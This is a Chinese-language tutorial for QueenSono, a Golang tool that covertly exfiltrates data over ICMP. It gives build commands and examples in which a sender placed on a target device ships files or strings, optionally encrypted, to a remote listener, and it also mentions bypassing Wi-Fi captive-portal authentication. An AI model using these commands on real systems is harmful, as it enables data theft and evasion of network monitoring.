如何使用QueenSono從ICMP提取數據
關于QueenSono
QueenSono是一款針對ICMP協議的數據提取工具,該工具基于Golang開發,并且只依賴于ICMP協議不受監控這一事實實現其功能。除此之外,該工具也可以用于基本的ICMP檢查,或繞過某些身份驗證機制,比如說許多公共Wi-Fi在連接到Wi-Fi(如機場Wi-Fi)后用于對用戶進行身份驗證。
工具安裝
從源碼安裝:
廣大研究人員可以直接使用下列命令將該項目源碼克隆至本地,并安裝好該工具所需的依賴組件:
- git clone https://github.com/ariary/QueenSono.git
- make before.build
下列命令可以構建ICMP包發送器-qssender:
- build.queensono-sender
下列命令可以構建ICMP包接收器-qsreceiver:
- build.queensono-receiver
工具使用
ICMP包發送器-qssender將負責把ICMP數據包發送至監聽器,因此我們需要將qssender源碼傳輸到目標設備上。
ICMP包接收器-qsreceiver就是我們本地設備上的數據包監聽器了。
所有的命令和工具參數都可以使用“--help”來查看。
(1) 工具使用樣例1:發送包攜帶“ACK”
在這個例子中,我們將發送一個大型文件,并查看接收到數據包之后的回復信息:
在本地設備上,運行下列命令:
- $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
參數解釋:
- -l 0.0.0.0:監聽所有接口的ICMP數據包
- -f received_bible.txt:將接收到的數據存儲至文件
- -p:顯示接收數據的進度條
在目標設備上,運行下列命令:
- $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
- $ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
參數解釋:
- send file:發送文件
- -d 2:每兩秒發送一個數據包
- -l 127.0.0.1:每次接收回復信息的監聽地址
- -r 10.0.0.92:運行了qsreceiver 監聽器的遠程設備地址
- -s 50000:每個數據包需要發送的數據量大小
(2) 工具使用樣例2:發送包不攜帶“ACK”
在這個例子中,我們希望在不等待回復信息的情況下發送數據:
在本地設備上,運行下列命令:
- $ qsreceiver receive truncated 1 -l 0.0.0.0
參數解釋:
- receive truncated 1:如果沒有收到所有數據包,則不會無限期等待
在目標設備上,運行下列命令:
- $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N
參數解釋:
- -N:無回復選項
(3) 工具使用樣例3:發送加密數據
在這個例子中,我們將發送加密消息。由于命令行可能會被監控,因此我們將使用非對稱加密(防止密鑰泄露):
在本地設備上,運行下列命令:
- $ qsreceiver receive -l 0.0.0.0 --encrypt
- <OUTPUT PUBLIC KEY>
參數解釋:
- --encrypt:使用加密交換,它將生成公鑰/私鑰。公鑰將用于qssender加密數據,私鑰將用于接收器解密數據
在目標設備上,運行下列命令:
- $ export MSG="<your message>"
- $ export KEY="<public_key_from_qsreceiver_output>"
- $ qssender send $MSG -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 5 --key $KEY
參數解釋:
- --key:提供數據加密的密鑰
項目地址
QueenSono:【GitHub傳送門】